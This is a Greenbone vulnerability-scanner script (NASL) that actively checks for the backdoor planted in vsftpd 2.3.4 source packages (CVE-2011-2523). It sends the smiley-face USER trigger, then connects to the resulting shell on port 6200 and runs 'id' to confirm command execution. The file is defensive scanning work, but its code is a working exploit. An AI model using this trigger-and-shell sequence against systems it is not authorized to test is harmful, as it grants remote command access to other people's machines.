vsftpd Compromised Source Packages Backdoor Vulnerability - Active Check

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:vsftpd_project:vsftpd";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103185");
  script_version("2026-02-18T05:57:21+0000");
  script_tag(name:"last_modification", value:"2026-02-18 05:57:21 +0000 (Wed, 18 Feb 2026)");
  script_tag(name:"creation_date", value:"2011-07-05 14:24:57 +0200 (Tue, 05 Jul 2011)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2021-04-12 19:15:00 +0000 (Mon, 12 Apr 2021)");

  script_cve_id("CVE-2011-2523");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("vsftpd Compromised Source Packages Backdoor Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("FTP");
  script_dependencies("sw_vsftpd_detect.nasl");
  script_require_ports("Services/ftp", 21, 6200);
  script_mandatory_keys("vsftpd/ftp/detected");

  script_tag(name:"summary", value:"vsftpd is prone to a backdoor vulnerability.");

  script_tag(name:"insight", value:"The tainted source package contains a backdoor which opens a
  shell on port 6200/tcp.");

  script_tag(name:"impact", value:"Attackers can exploit this issue to execute arbitrary commands
  in the context of the application. Successful attacks will compromise the affected
  application.");

  script_tag(name:"affected", value:"vsftpd 2.3.4 source packages downloaded between 20110630
  and 20110703 are affected.");

  script_tag(name:"solution", value:"The repaired package can be downloaded from the referenced
  vendor homepage. Please validate the package with its signature.");

  script_xref(name:"URL", value:"https://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html");
  script_xref(name:"URL", value:"https://web.archive.org/web/20210127090551/https://www.securityfocus.com/bid/48539/");

  exit(0);
}

include("ftp_func.inc");
include("host_details.inc");

shellport = 6200;

if (!port = get_app_port(cpe: CPE, service: "ftp"))
  exit(0);

if (!get_app_location(cpe: CPE, port: port, nofork: TRUE))
  exit(0);

function check_vuln() {
  if (!sock = open_sock_tcp(shellport))
    return FALSE;

  send(socket: sock, data: string("id;\r\nexit;\r\n"));
  buf = recv(socket: sock, length: 4096);
  close(sock);

  if (egrep(pattern: "uid=[0-9]+.*gid=[0-9]+", string: buf, icase: FALSE))
    return TRUE;

  return FALSE;
}

if (check_vuln()) { # nb: Check if there already exist a shell on port 6200
  security_message(port: shellport); # nb: Report this vuln on both ports. Just to be sure...
  security_message(port: port);
  exit(0);
}

if (!soc = open_sock_tcp(port))
  exit(0);

ftp_recv_line(socket: soc);

for (i = 0; i <= 3; i++) {
  send(socket: soc, data: string("USER X:)\r\n"));
  ftp_recv_line(socket: soc);

  send(socket: soc, data: string("PASS X\r\n"));
  ftp_recv_line(socket: soc);

  sleep(10); # nb: Slow hosts need some time to spawn the shell

  if (check_vuln()) {
    close(soc);
    security_message(port: shellport); # nb: Report this vuln on both ports. Just to be sure...
    security_message(port: port);
    exit(0);
  }
}

close(soc);

exit(99);